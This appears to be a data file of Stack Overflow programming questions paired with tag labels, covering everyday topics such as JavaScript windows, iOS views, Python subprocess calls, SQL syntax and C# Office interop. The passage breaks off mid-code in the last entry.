window.close closes the postbacked child window and a copy of child window still appears  i am opening a child window using the below code:   <pre class= lang-js prettyprint-override ><code>window.showmodaldialog( fileupload.aspx    fileupload         center:yes;resizeable=yes;dialogheight:300px;dialogwidth:600px; ); </code></pre>   i save the file uploaded in the child window(fileupload.aspx)in its code behind fileupload.vb page. since server side code  its postbacking and opening a new browser .    after my functionality in the child window  when i close it using below code    <pre><code>window.open(     _self     ); window.close(); </code></pre>   it is closing the new browser opened because of postback but a copy of the same child window is still open when returning to the parent page.    i want to close all the instances of this child window.,javascript
label to display rating and border of the lable should be partially filled with color specific to rating ios <pre><code>self.rating.text=@ 4.5 ;  self.rating.adjustsfontsizetofitwidth=yes;  self.rating.textcolor = [uicolor blackcolor];  self.rating.font = [uifont fontwithname:@ helvetica-bold  size:8.0];  self.rating.layer.bordercolor = [uicolor colorwithred:.2 green:1 blue:0 alpha:1].cgcolor;  self.rating.layer.borderwidth = 2.0f;  self.rating.textalignment=nstextalignmentcenter;  self.rating.clipstobounds=yes;  self.rating.layer.maskstobounds=yes; </code></pre>   when i do this i get the following o/p    but i need the label border to be filled 90% assuming max rating will be five  and remaining red,ios
error when running git command inside popen  disclaimer: i m extremely new at python programming so i could be doing things very wrong here    all i want to do is run a git command from an open file. here is the call that i am making   <pre><code>subprocess.popen(  git status   cwd = os.path.dirname( path )  shell = true  stdout = subprocess.pipe  stderr = subprocess.pipe ) </code></pre>   and the error message i am receiving is this: /bin/sh: git: command not found    i have verified that it is pointing to the correct directory by doing a list of the files. also if i open a file that is under subversion control and do an svn info command everything works perfectly. i m at a total loss as to what i m missing here.,python
uitransitionview and uilayoutcontainerview <ol> <li>what is <code>uitransitionview</code> </li> <li>what is <code>uilayoutcontainerview</code> </li> <li>will i get in trouble for adding subviews to them </li> </ol>   they are the superviews of a <code>uitableview</code> which is inside of a <code>uinavigationcontroller</code> which is inside of a <code>uitabbarcontroller</code>.    <code>uitransitionview</code> i got by asking for the superview of the table view. <code>uilayoutcontainerview</code> i got by asking for the superview of <code>uitransitionview</code>.,iphone
jquery num++ not working for me  i am trying to intergrate the jquery progress bar but i am getting issues.    take the follwoing code..   <pre><code>$(document).ready(function(){    $(  #progressbar  ).progressbar({value: 0});    var size = $( .item img.main ).size();    var overall = 100 / size;     var sum = overall;    $( .item img.main ).each(function (index) {     var $this = $(this);      console.log(sum++);         $(  #progressbar  ).progressbar({value: sum++});    }); </code></pre>   to view a better example i have put one into js bin here.    <a href= http://jsbin.com/ogatij/2/edit#source  rel= nofollow >http://jsbin.com/ogatij/2/edit#source</a>    render code and you will see what i mean the num++ is not working for me say with the 3 images.    the overall value is 33.333333333333336    ok so this should loop three time to the each loop using ++   <pre><code>33.333333333333336 66.333333333333336 100 </code></pre>   but this doesnt work i get the following.   <pre><code>33.333333333333336 34.333333333333336 35.333333333333336 </code></pre>   can anyone explain why this is happening       thanks,jquery
assigning different messages to same .getbytes()  right now  my user interface has <strong>4 edittext object</strong>. <strong>row 1</strong>   <strong>row 2</strong>  <strong>row 3</strong> and <strong>row 4</strong>    i started sending data:    on <strong>row 1</strong>  the string is <em>4569</em>    on <strong>row 2</strong>  the string is <em>369</em>    when i try get the length by using <code>msg.getbytes().length</code> i only get 4 which is the length of the row 1 string = 4569. but in real fact  i sent 2 rows of data which is 2 edittext(filled with data).    but how do i get the length of <strong>row 2</strong>  <strong>row 3</strong> and <strong>row 4</strong>     <strong>buttonconnect.setonclicklistener (sends the data to the bluetooth device)</strong>   <pre><code>buttonconnect.setonclicklistener(new view.onclicklistener() {          @suppresslint( newapi )         @override         public void onclick(view arg0) {             if (count == 0) {                 toast.maketext(bluetoothtest.this                           please enable bluetooth first.                           toast.length_long).show();             }              // need api=14             else if (!socket.isconnected()) {                     toast.maketext(bluetoothtest.this                               connecting! please wait.                               toast.length_long).show();                 }             else {                 try {                     sendmessagehandle(contentrow1.gettext().tostring());                     sendmessagehandle(contentrow2.gettext().tostring());                  } catch (exception e) {                     // todo auto-generated catch block                     e.printstacktrace();                 }             }          }     }); </code></pre>   <strong>sendmessagehandle method:</strong>   <pre><code>private void sendmessagehandle(string msg) throws interruptedexception {      final byte animation_mode=1;     final byte picture_mode=2;     final byte text_mode=3;     //final string pause =  1 ;      int temp row;      sprefs = getsharedpreferences( storedata  mode_private);      byte mode = (byte) sprefs.getint( mode  1);     byte [] picturedata = new byte [129];     byte [] textsetting =new byte [5];       if (socket == null) {         toast.maketext(mcontext   no connection   toast.length_short)                 .show();         return;     }     try {         outputstream outputstream = socket.getoutputstream();         if(mode==text_mode){             int l;             textsetting[0]= 4;             thread.sleep(500);             l = msg.getbytes().length;             system.out.println( length is  + l);               outputstream.write(textsetting);                 outputstream.write(msg.getbytes());           }                                                 //!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!         //outputstream.write(pause.getbytes());      } catch (ioexception e) {         // todo auto-generated catch block         e.printstacktrace();     }     list.add(new devicelistitem(msg  false));     madapter.notifydatasetchanged();     chatlist.setselection(list.size() - 1); } </code></pre>,java
class_replacemethod category method return nil  i use uiviewcontroller category to do method replace in ios.  i write a category method <code>- (void)sw_viewwillappear:(bool) animated</code> to replace uiviewcontroller <code>- (void)viewwillappear:(bool) animated</code>.    the category codes bellow :   <pre><code>- (void)exchangeimp {     class aclass = object_getclass(self);     sel originalselector = @selector(viewwillappear:);     sel swizzledselector = @selector(sw_viewwillappear:);      method originalmethod = class_getinstancemethod(aclass  originalselector);     method swizzledmethod = class_getinstancemethod(aclass  swizzledselector);     imp result = class_replacemethod(aclass  swizzledselector  method_getimplementation(originalmethod)  method_gettypeencoding(originalmethod));     nslog(@ result is %p   result);}  - (void)sw_viewwillappear:(bool) animated {      nslog(@ there do custome things );} </code></pre>   the result always return <code>nil</code>  but as far as i know  if method already exist   <code>class_replacemethod</code> will return the old <code>imp</code>. isn t the old <code>imp</code> should be <code>sw_viewwillappear:</code>  why it return nil,ios
python: find all sets of numbers inside a range where each set contains values that are x distance apart and don t exceed the range  given a range  how could i find all sets of size x that meet the specific criteria of being at least x distance apart  not exceeding the range maximum     if i wanted to find sets of three numbers that are 5 apart in a range of 30  i d expect to get these values back:   <pre><code>[0 5 10] [0 6 11] [0 7 12] ..etc [1 6 11] [1 7 12] [1 8 13] ..etc </code></pre>   i ve looked at itertools  thinking there would be a quick solve there - but i m not seeing a clear method.    i ve tried to harvest all valid runs of numbers doing something like:   <pre><code>lst = [(x x+5 x+10) for x in range(20)] </code></pre>   but that only get s me +5 values  not values that are +6  +7  etc. remember  my distance requirement is a minimum.    any guidance would be appreciated.    i m new to python and to stackoverflow  so if my question is malformed or unclear or ridiculous  please go easy on me - i m ready to clarify or continue researching as needed; i m just stuck at the moment.  this seems like something that exists and i just can t find vs. something i need to try to cook up with nested iterations.    thanks again!,python
update all date fields of db mysql  i have a mysql database with over hundret tables and each containing a lot of columns.    my server had the wrong date for some days and now a lot of data has this wrong date.     is it possible to show all date fields of the whole database to update them.    but there also for example some fields like birthdate which should not be updated.    is there any possibility for this or can i only do it manually,mysql
what is it called when you use <img> tags and display an image from another website   i heard a term for this a few years ago and can t remember what the term for it is  but basically what is the term for when you use  tags to display an image on your site  but the image it s displaying is from site b and rather than uploading it to your own site  you re just using where it s stored on site b.,html
open windows explorer to a network folder from a dotnet client  i try to open windows explorer to <code>\\aserver\d$</code> with c#. the aserver machine needs an other user  a user that does not necessarily have rights on the machine the code is running on.      i want the windows explorer window to <em>show without asking the user for credentials</em> as i provide usr/pwd through code.   <hr>   if i do <code>process.start( @ \\aserver\d$  )</code> windows asks me for credentials.    i have tried <code>process.start( @ \\aserver\d$   username  password  domain )</code> but it returns an <code>access is denied</code> exception. changing the usr/pwd gives me a <code>the user name or password is incorrect</code> so i know i have the right usr/pwd/domain combination. i guess dotnet is trying to start a process  explorer.exe  with the other user which doesn t have rights on my machine.        i have tried playing around with <code>process.start( new processstartinfo{...} )</code> but have not figured out the right combination.,c#
how to use $watch on ng-model   once user select the value from dropdown tree i want to fire an event and call the service to get the description of the selected value and map it to another field(populatefield.html). how can i achieve this with below code...    test.html       <pre><code>&lt;div multiselect-dropdown-tree ng-model= nonpersistentprocess.erhkey   options= erhtreeviewoptions &gt;&lt;/div&gt; </code></pre>   populatefield.html   <pre><code>&lt;input type= text  class= form-control  id= custsegment                                          name= customersegment                                          ng-model= processdto.businesssegmentorcontrolfunction                                          maxlength= 512  disabled= disabled &gt; </code></pre>   ctrl.js     <pre><code>  $scope.$watch($scope.nonpersistentprocess.erhkey function(newval oldval){           if(newval &gt; oldval){             erhhirachyinfo.geterhinfo($scope.nonpersistentprocess.erhkey).then(function(response){               $scope.erhobj = response.data;             });           }        }); </code></pre>,angularjs
performance benefits of static typing in objective-c  is there any performance benefits of using static typing in objective-c  does it exist just for safety check,objective-c
change content in a strong tag into a class  i m trying to change a strong content that is in a class.    if i try this code  it inserts the text after original text correctly:   <pre><code>.categoria-paginas a strong:after {     content:  schmitz ; } </code></pre>   but when i try to change all the content  it doesn t work:   <pre><code>.categoria-paginas a strong {     content:  schmitz ; } </code></pre>,css
how to populate the array using the rand () and while   i need to create an array that is populated randomly  considering an element with a value of <code>1</code> that can traverse positions in the array. starting with a value in the middle position and selecting random positions for the other terms  i want it to go through the array until it finds the value <code>1</code> in the array (it would look like a branch). i wrote the code from what i could think of  but after requesting the dimensions of the array the program hangs  i even thought it might be because of <code>while</code> conditions. could someone help me with the resolution  thank you!   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int **alocar_matrix(int m  int n) {           //function for allocation of memory     int i  **v;     //ponteiro para a matriz - pointer for matrix     v = (int **)calloc(m  sizeof(int *));     if (v == null) {         printf( erro: memoria insuficiente );  //just a error test         return (null);     }     //alocacao das colunas da matriz     for (i = 0; i &lt; m; i++)  {         v[i] = (int*)calloc(n  sizeof(int));         if (v[i] == null) {             printf( erro: memoria insuficiente );             return (null);         }     }     return (v);                           //retorna o ponteiro para a matriz }  int main() {     int **matrix;     int i  j  x  y  step  erro  size;     erro = 0;      file *dla_program;                     //save the data in dla_program.txt     dla_program = fopen( dla.txt    w );      do {         printf( informe o tamanho da matriz quadrada desejada. ela deve ser maior que 100! );         // it s a information from the user: the size of the matrix         scanf( %d   &amp;size);     } while ((size &lt; 100) || (size &gt; 500));      if ((matrix = alocar_matrix(size  size)) == null)         erro = 1;     if (erro) {         printf( \n falta de memoria! saindo...\n );        //erro na alocacao      ---test of memory         exit(1);     }      for (i = 0; i &lt; size; i++) {         for (j = 0; j &lt; size; j++)        //zerar a matrix    -- define zero value to inicialization             matrix[i][j] = 0;     }     matrix[(size - 1) / 2][(size - 1) / 2] = 1;      //particula localizada no centro  ---allocation of memory      x = size + 1;     y = size + 1;     do {         while ((x &gt;= size) || (y &gt;= size)) {       // while generalizado             while (1) {                 x = rand() % size;                 y = rand() % size;                 if (matrix[x-1][y] || matrix[x+1][y] || matrix[x][y-1] || matrix[x][y+1] || matrix[x][y] == 0)                     //escolher uma posição aleatória que não seja vizinha do centro  -- a choice of random position                     break;             }              if (rand() % 1 &lt; 0.5)                 step = 1;                    //condicional para definir a direção do deslocamento  -- random movement             else                 step = -1;              while (matrix[x-1][y] + matrix[x+1][y] + matrix[x][y-1] + matrix[x][y+1] == 0 || (x &lt; size) || (y &lt; size)) {                 if (rand() % 1 &lt; 0.5)                     x += step;                 else                     y += step;             }                                //procurar um vizinho             matrix[x][y] = 1;               //quando encontrar um vizinho dentro de  size   declara na posicao da matrix o valor 1         }     } while (matrix[size-1][y] || matrix[x][size-1] || matrix[0][y] || matrix[x][0] != 0);      for (i = 0; i &lt; size; i++) {         printf( \n );         {             for (j = 0; j &lt; size; j++)                 fprintf(dla_program   \t%d    matrix[i][j]);         }         printf( dados armazenados em dla.txt \n\n );            //data storage in dla.txt         fclose(dla_program);     } } </code></pre>,c
what .net framework to use   i am creating an application using visual basic (.net). when i have to distribute the application i also needs to pack the appropriate .net framework to the end-users. this increases the size of the package and also takes a lot of time installing the .net framework. i like to avoid this.    is there a .net framework that is available by default on all windows versions from <strong>xp</strong> to <strong>8.1</strong>  so i only have to distribute the application without .net framework,.net
how to use setlistadapter when mainactivity extends appcompatactivity   i m new to android and following a 2014 lynda tutorial to make a listview using an adapter. here is the mainactivity:   <pre><code>public class mainactivity extends appcompatactivity {      textview output;     progressbar pb;     list&lt;mytask&gt; tasks;      list&lt;flower&gt; flowerlist;      @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         setcontentview(r.layout.activity_main);         toolbar toolbar = (toolbar) findviewbyid(r.id.toolbar);         setsupportactionbar(toolbar);          // initialize the textview for vertical scrolling         output = (textview) findviewbyid(r.id.textview);         output.setmovementmethod(new scrollingmovementmethod());          pb = (progressbar) findviewbyid(r.id.progressbar);         pb.setvisibility(view.invisible);          tasks = new arraylist&lt;&gt;();     }      @override     public boolean oncreateoptionsmenu(menu menu) {         // inflate the menu; this adds items to the action bar if it is present.         getmenuinflater().inflate(r.menu.menu_main  menu);         return true;     }      @override     public boolean onoptionsitemselected(menuitem item) {         if (item.getitemid() == r.id.action_do_task) {             if (isonline()) {                 requestdata( http://services.hanselandpetal.com/secure/flowers.json );             } else {                 toast.maketext(this   network isn t available   toast.length_long).show();             }             return false;         }         return false;     }      private void requestdata(string uri) {         mytask task = new mytask();         task.execute(uri);     }      protected void updatedisplay() {        floweradapter adapter = new floweradapter(this  r.layout.item_flower  flowerlist);         setlistadapter(adapter); //&lt;---here is the error      } </code></pre>   at <code>setlistadapter(adapter) i get</code>cannot resolve method` error.    i know from <a href= https://stackoverflow.com/a/26714889 >another answer</a>  that if mainactivity extends <code>listactivity</code> instead of <code>appcompatactivity</code> this error is resolved. but then i get many other errors that i m unable to resolve. so appreciate your solution.    in case you needed  here is the <code>floweradapter</code> class   <pre><code>public class floweradapter extends arrayadapter&lt;flower&gt; {      private context context;     private list&lt;flower&gt; flowerlist;      public floweradapter(context context  int resource  list&lt;flower&gt; objects) {         super(context  resource  objects);         this.context = context;         this.flowerlist = objects;     }      @override     public view getview(int position  view convertview  viewgroup parent) {          layoutinflater inflater =                 (layoutinflater) context.getsystemservice(activity.layout_inflater_service);         view view = inflater.inflate(r.layout.item_flower  parent  false);          //display flower name in the textview widget         flower flower = flowerlist.get(position);         textview tv = (textview) view.findviewbyid(r.id.textview1);         tv.settext(flower.getname());          return view;     }  } </code></pre>   and here is the listview that i ve created in content_main.xml   <pre><code>&lt;listview     android:id= @+id/listview      android:layout_width= fill_parent      android:layout_height= wrap_content      android:scrollbars= vertical      android:text=   /&gt; </code></pre>   activity_main.xml   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;android.support.design.widget.coordinatorlayout xmlns:android= http://schemas.android.com/apk/res/android      xmlns:app= http://schemas.android.com/apk/res-auto      xmlns:tools= http://schemas.android.com/tools      android:layout_width= match_parent      android:layout_height= match_parent      android:fitssystemwindows= true      tools:context= com.flowershop.myapplication.mainactivity &gt;      &lt;android.support.design.widget.appbarlayout         android:layout_width= match_parent          android:layout_height= wrap_content          android:theme= @style/apptheme.appbaroverlay &gt;          &lt;android.support.v7.widget.toolbar             android:id= @+id/toolbar              android:layout_width= match_parent              android:layout_height=  attr/actionbarsize              android:background=  attr/colorprimary              app:popuptheme= @style/apptheme.popupoverlay  /&gt;      &lt;/android.support.design.widget.appbarlayout&gt;      &lt;include         android:id= @+id/id_content_main          layout= @layout/content_main  /&gt;  &lt;/android.support.design.widget.coordinatorlayout&gt; </code></pre>,android
append to large xml  i am writting a program to store the details of songs to xml here is my code   <pre><code>            private xmldocument mediaxmldoc = new xmldocument();             private xmlnode rootnode;              mediaxmldoc.removeall();              rootnode = mediaxmldoc.createelement( filelist );             mediaxmldoc.appendchild(rootnode); </code></pre>   and for each song i am appending the details like below   <pre><code>            xmlnode file = mediaxmldoc.createelement( file );                              xmlnode filename = mediaxmldoc.createelement( filename );             filename.innertext = filename;             file.appendchild(filename);              xmlnode path = mediaxmldoc.createelement( path );             path.innertext = path;             file.appendchild(path);              xmlnode ext = mediaxmldoc.createelement( ext );             ext.innertext = ext;             file.appendchild(ext);              xmlnode artist_name = mediaxmldoc.createelement( artist_name );             artist_name.innertext = artistnamestring;             file.appendchild(artist_name);              xmlnode song_title = mediaxmldoc.createelement( song_title );             song_title.innertext = songtitlestring;             file.appendchild(song_title);              xmlnode genre = mediaxmldoc.createelement( genre );             genre.innertext = genrestring;             file.appendchild(genre);              xmlnode comments = mediaxmldoc.createelement( comments );             comments.innertext = commentsstring;             file.appendchild(comments);              xmlnode album_name = mediaxmldoc.createelement( album_name );             album_name.innertext = albumnamestring;             file.appendchild(album_name);              xmlnode year = mediaxmldoc.createelement( year );             year.innertext = yearstring;             file.appendchild(year);              xmlnode track_number = mediaxmldoc.createelement( track_number );             track_number.innertext = tracknumberstring;             file.appendchild(track_number);              xmlnode duration = mediaxmldoc.createelement( duration );             duration.innertext = durationstring;             file.appendchild(duration);              xmlnode bit_rate = mediaxmldoc.createelement( bit_rate );             bit_rate.innertext = bitratestring;             file.appendchild(bit_rate);              xmlnode protected_media = mediaxmldoc.createelement( protected );             protected_media.innertext = protectedstring;             file.appendchild(protected_media);              xmlnode sample_rate = mediaxmldoc.createelement( sample_rate );             sample_rate.innertext = sampleratestring;             file.appendchild(sample_rate);              xmlnode channels = mediaxmldoc.createelement( channels );             channels.innertext = channelsstring;             file.appendchild(channels);              rootnode.appendchild(file); </code></pre>   and my problem is as the size of the xml increases the append speed feels to decrease what can i do to solve this performance issue    thanks,c#
cgimagecreatewithpngdataprovider giving blank image  please check this code and help me out      <pre><code>cgimageref cref = cgimageretain(im.cgimage);  nsdata* pixeldata = (nsdata*) cgdataprovidercopydata(cgimagegetdataprovider(cref));  // return pointer to data unsigned char* pixelbytes = (unsigned char *)[pixeldata bytes];  // step through char data for(int k = 0; k &lt; [pixeldata length]; k += 4) {   // change accordingly   pixelbytes[k] = pixelbytes[k];   pixelbytes[k+1] = pixelbytes[k+1];   pixelbytes[k+2] = pixelbytes[k+2];   pixelbytes[k+3] = 255; }  nsdata* newpixeldata = [nsdata datawithbytes:pixelbytes length:[pixeldata length]]; cfdataref imgdata = (cfdataref)pixeldata; cgdataproviderref imgdataprovider = cgdataprovidercreatewithcfdata(imgdata); cgimageref throughcgimage = cgimagecreatewithpngdataprovider(imgdataprovider  null  yes  kcgrenderingintentdefault);  uiimage* newimage = [uiimage imagewithcgimage:throughcgimage]; nslog(@ newimage: %@   newimage); </code></pre>   some data is coming but it is not getting added to uiimageview..it is showing blank.,ios
how to get thrown exception in the finally  let s suppose we have such code:   <pre><code>int x = 0;  try {     try     {         x /= x; // dividebyzeroexception     }     finally     {         throw new overflowexception( foobar ); // how to pass thrown exception here     } } catch(exception e) {     system.console.writeline(e.message); } </code></pre>   is it possible to get thrown exception in finally and pass it as a second argument of <code>overflowexception</code>     <strong>upd</strong>: guys  i <strong>do know</strong> how to work with <code>catch</code> and i do know that it is weird practice to throw an exception from finally.    but the original quesition (which definitely has science nature  not practical) <em>can we retrieve thrown exception in the finally</em>     yes (then how)  no  that s all i wanted to see.,.net
prevent asp.net generating somevalidator.display =  dynamic ;  my asp.net page dynamically displays 207 questions (i can t control this). each question have 10 validators. when asp renders the page it creates following three lines for each validator:   <pre><code>var qsnquestionset_adult_qcquestion_1_vldmaxanswersvalidator = document.all   document.all[ qsnquestionset_adult_qcquestion_1_vldmaxanswersvalidator ] : document.getelementbyid( qsnquestionset_adult_qcquestion_1_vldmaxanswersvalidator ); qsnquestionset_adult_qcquestion_1_vldmaxanswersvalidator.display =  dynamic ; qsnquestionset_adult_qcquestion_1_vldmaxanswersvalidator.evaluationfunction =  customvalidatorevaluateisvalid ; </code></pre>   althrough these three lines are just 4kb you can imagine that 4*10*207 is quite a lot. how can i mark all validators as dynamic and set evaluationfunction to same value without asp generating the line for me,asp.net
what is wrong with my sql case syntax   i need help writing some sql. i hate to ask such a rookie question  but what is wrong with the following sql query    <pre><code>select (case when mydate &lt;  2010-1-1  then  2000-1-1  else mydate) from mytable; </code></pre>   the idea is that i want to get <code>mydate</code> from <code>mytable</code>  but if the date is before january  1  2010  i want the statement to return january 1  2000 instead.,sql
uitapgesturerecognizer not working  uitapgesturerecognizer is not working for me  i wonder if anyone can help.    here is my view definition:   <pre><code>@interface maindisplayview : uiview &lt;uigesturerecognizerdelegate&gt; </code></pre>   in the implementation  i have this in a method which is definitely being called:   <pre><code>uitapgesturerecognizer *taprecognizer = [[uitapgesturerecognizer alloc]initwithtarget:self action:@selector(gotoprevious:)]; [taprecognizer setdelegate:self]; [taprecognizer setnumberoftapsrequired:1]; [taprecognizer setnumberoftouchesrequired:1]; [myview addgesturerecognizer:taprecognizer]; </code></pre>   as well as this method:   <pre><code>- (void)gotoprevious:(uitapgesturerecognizer*)recognizer {     nslog(@ go to previous ); } </code></pre>   i am testing in the simulator  and clicking in  myview  - but nothing happens. thanks a lot!    edited the code formatting.,iphone
c# equivalent to pwdcompare  i have a database where i m storing a username and password. i m using the pwdencrypt function to save passwords as a varbinary(255) field.    now  i m needing the ability to save this information locally in an xml file and for me to do a pwdcompare in c# on the client.    is there a way to do this,.net
menu recommendation  now i have discovered jquery i m in the process of updating my site. could somebody recommend a jquery menu system. requirements.   <ol> <li>vectical &amp; horizontal</li> <li>css for styling</li> <li>three level minimum </li> <li>cross browser compaterble </li> <li>backwards compatible to ie 6</li> <li>nice and light </li> </ol>   thank you for looking.,jquery
subscript a std::list  i have these typedefs:    <pre><code>typedef pair&lt;k2base  list&lt;v2base&gt;&gt; shuffled_pair; typedef list&lt;shuffled_pair&gt; shuffled_list; </code></pre>   and this function:   <pre><code>shuffled_pair getitem(unsigned int index){     return this-&gt;_items[index]; }  </code></pre>   where <code>this-&gt;_items</code> is of type <code>shuffled_list</code> as declared in the typedef.     i get this error from the compiler:    <pre><code> type  const shuffled_list  (aka  const list&lt;pair&lt;k2base  list&lt;v2base&gt; &gt; &gt; ) does not provide a subscript operator </code></pre>   but the type is basically a list type  so what is the problem,c++
"how can align center a horizal menu   i create a horizontal menu  it contains a submenu.    i have tried using some attributes as:<br> <code>justify-content:center</code>    <code>align-items: center;</code> and    <code>text-align: center;</code>    here s a snippet with the code:    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>/*==reset css==*/
 * {
   margin: 0;
   padding: 0;
 }
 #menu {
 
     justify-content: center;
     align-items: center;
     text-align: center;
     padding: 20px;
 
 } 
 /*==style cho menu===*/
 #menu ul { 
   list-style-type: none;
   text-align: center; 
 }
 #menu li {
     display: inline-block;
     float: left;
     padding: 10px;
     position: relative;
 }
 #menu a {
   color: #4c9cf1;
   text-decoration: none;
   font-weight: bold;
   display: block;
   font-size:16px;
 }
 #menu a:hover {
    color: #444;
 }
 
 header {
     background: #fff;
     width: 100%;
     height: 85px;
     position: fixed;
     top: 0;
     left: 0;
     border-bottom: 1px solid #4c9cf1;
     z-index: 100;
 }
 /*==dropdown menu==*/
 .sub-menu {
  display: none;
  position: absolute;
 }
 .sub-menu li {
   display: none;
   margin-left: 0 !important;  
 }
 #menu li:hover .sub-menu {
  display: block;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;header &gt;
         &lt;div id= menu &gt;
            &lt;ul&gt;
             &lt;li&gt;&lt;a href= # &gt;trang chủ&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;diễn đàn&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;tin tức&lt;/a&gt;
               &lt;ul class= sub-menu &gt;
                 &lt;li&gt;&lt;a href= # &gt;wordpress&lt;/a&gt;&lt;/li&gt;
                 &lt;li&gt;&lt;a href= # &gt;&lt;a href= https://thachpham.com/category/seo  data-wpel-link= internal &gt;seo&lt;/a&gt;&lt;/a&gt;&lt;/li&gt;
                 &lt;li&gt;&lt;a href= # &gt;hosting&lt;/a&gt;&lt;/li&gt;
               &lt;/ul&gt;
             &lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;hỏi đáp&lt;/a&gt;&lt;/li&gt;
             &lt;li&gt;&lt;a href= # &gt;liên hệ&lt;/a&gt;&lt;/li&gt;
           &lt;/ul&gt;
     &lt;/div&gt;
     &lt;/header&gt;</code></pre>
 </div>
 </div>
     but menu still can t align to center.    how can i center a horizontal menu     thanks all.",css
how rails makes setters for each model s associated columns  and how it does it for each data type <ul> <li> where in rails source code does rails define <em>how</em> it dynamically creates setters for each model s associated column  </li> <li> where in rails source code does rails define <em>how</em> it defines the setters for the different data types (ex: <code>date</code>  <code>integer</code>  <code>string</code>)  </li> </ul>   i m new to digging into source code so take it easy on me.  i have already dug around in the rails source code and i couldn t find the answers to these questions.    i thought the place to look was within <a href= https://github.com/rails/rails/blob/master/activemodel/lib/active_model/attribute_methods.rb  rel= nofollow >active_model/attribute_methods</a>.  it does not appear to be in there  or if it was i didn t quite grasp it  so a bit more explanation would help.  thanks!,ruby-on-rails
how can i get data with two database tables   i have two  tags.     the first one is filled with clients and the second is filled with projects.   <blockquote>    <strong>but</strong> those are <strong>only</strong> projects of the <strong>chosen</strong> client.  </blockquote>   i get data from mysql database.     table clients:   <pre><code>1   id             int(5)     auto_increment 2   client         tinytext 3   name           tinytext </code></pre>   table projects:   <pre><code>1   id             int(5)     auto_increment 2   project        tinytext 2   client_id      tinytext </code></pre>   how can i <code>select</code> projects that is from the chosen client    <strong>example:</strong> i selected client <em>stackoverflow</em> and at the second selector i want to show only projects of <em>stackoverflow</em>    please help me.,mysql
save docx as pdf in c#  fails to export excel charts properly  i want to create docx files programatically. i need to include excel charts in it  and then i have to export it into pdf. i use c# 4.0 and microsoft.office.interop for that.    the problem is that in the exported pdf files the 1/5 part of the charts are cut down.  here is an example of the problem:    <a href= http://www.2shared.com/document/kbcm31ud/doksi.html  rel= nofollow noreferrer >2shared.com link to the pdf file</a>    this happens too if i try to save in xps.     if i copy and paste the excel chart in word  then it works somehow after that...    there is another problem too. the charts are randomly sized down. this depends on if the excel chart was visible during the scripting process or not (this picture is captured from word 2010  i circled the problem with red):    <img src= https://i.stack.imgur.com/qphjb.jpg  alt= enter image description here >    i create the excel charts as inlineshapes  with the addoleobject method  classtype:  excel.chart.8  . i set their size to 200x200 (wrdinlineshape.width  wrdinlineshape.height)    adam said that i should include the source code. it is long  but here you go:   <pre><code>microsoft.office.interop.word.application app = new microsoft.office.interop.word.application(); app.visible = true; word.document doc = app.documents.open(@ d:\programozás\ohv\template.docx ); string classtype =  excel.chart.8 ; object oendofdoc =  \\endofdoc ; bookmark titlebookmark = doc.bookmarks.get_item( title ); titlebookmark.range.text =  i love ohv ;  for (int xi = 1; xi &lt;= 2; xi++) {     //  microsoft.office.interop.word.range wrdrng = doc.bookmarks.get_item(ref oendofdoc).range;     bookmark shapebookmark = doc.bookmarks.get_item( shape  + xi );     bookmark subtitlebookmark = doc.bookmarks.get_item( title  + xi);     subtitlebookmark.range.text =  super subject ;     word.inlineshape wrdinlineshape = doc.inlineshapes.addoleobject(classtype  range: shapebookmark.range);     if (wrdinlineshape.oleformat.progid == classtype)     {         object verb = word.wdoleverb.wdoleverbhide;         wrdinlineshape.oleformat.doverb(ref verb);         random rn = new random();         excel.workbook obook = (excel.workbook)wrdinlineshape.oleformat.object;         excel.worksheet sheet = (excel.worksheet)obook.worksheets[ sheet1 ];          for (int i = 1; i &lt;= 5; i++)         {             ((microsoft.office.interop.excel.range)sheet.cells[i  1]).value = i +  . ;             for (int c = 2; c &lt;= 3; c++)             {                 ((microsoft.office.interop.excel.range)sheet.cells[i  c]).value = rn.next(1  5);                 ((microsoft.office.interop.excel.range)sheet.cells[i  c]).value = rn.next(1  5);             }             ((microsoft.office.interop.excel.range)sheet.cells[i  4]).value =   ;         }          wrdinlineshape.width = 200;         wrdinlineshape.height = 200;         excel.chart chart = obook.activechart;         obook.activechart.applylayout(9  excel.xlcharttype.xlcolumnclustered);         obook.activechart.charttitle.caption =  bmevihva109 - jelek és rendszerek\n xy kurzus - dr erős péter ;         obook.activechart.charttitle.font.size = 6;          chart.chartarea.fill.forecolor.schemecolor = 41;         console.writeline(chart.chartarea.fill.forecolor.rgb);         chart.chartarea.fill.backcolor.schemecolor = 23;         console.writeline(chart.chartarea.fill.backcolor.rgb);         chart.chartarea.fill.twocolorgradient(microsoft.office.core.msogradientstyle.msogradienthorizontal  1);          obook.activechart.setsourcedata(sheet.get_range( a1    b5 ));         obook.activechart.legend.delete();         chart.chartarea.roundedcorners = true;         excel.axis axis = (excel.axis)chart.axes(         excel.xlaxistype.xlcategory          excel.xlaxisgroup.xlprimary);         axis.hastitle = true;         axis.axistitle.text =  54 kérdőív ;         axis.axistitle.font.size = 6;         axis.hasmajorgridlines = true;          axis = (excel.axis)chart.axes(         excel.xlaxistype.xlvalue          excel.xlaxisgroup.xlprimary);         axis.hastitle = false;         axis.hasmajorgridlines = true;         axis.maximumscale = 5;         axis.minimumscale = 0;         wrdinlineshape.width = 200;         wrdinlineshape.height = 200;         microsoft.office.interop.word.range tablerange = doc.bookmarks.get_item( table  + xi).range;          //  sheet.usedrange.copy();         doc.setdefaulttablestyle( light list - accent 4   false);         table table = doc.tables.add(tablerange  3  2);         object style =  table grid 1 ;         table.set_style(ref style);         table.cell(1  1).merge(table.cell(1  2));         table.cell(1  1).range.text =  válaszok száma ;         table.cell(1  1).range.font.bold = 2;         table.cell(2  1).range.text =  this works lol ;         table.cell(2  2).range.text =  this works lol 2 2 ;         table.cell(3  1).range.text =  this works lol ;         table.cell(3  2).range.text =  this works lol 2 2 ;         table.cell(4  1).range.text =  this works lol ;         table.cell(4  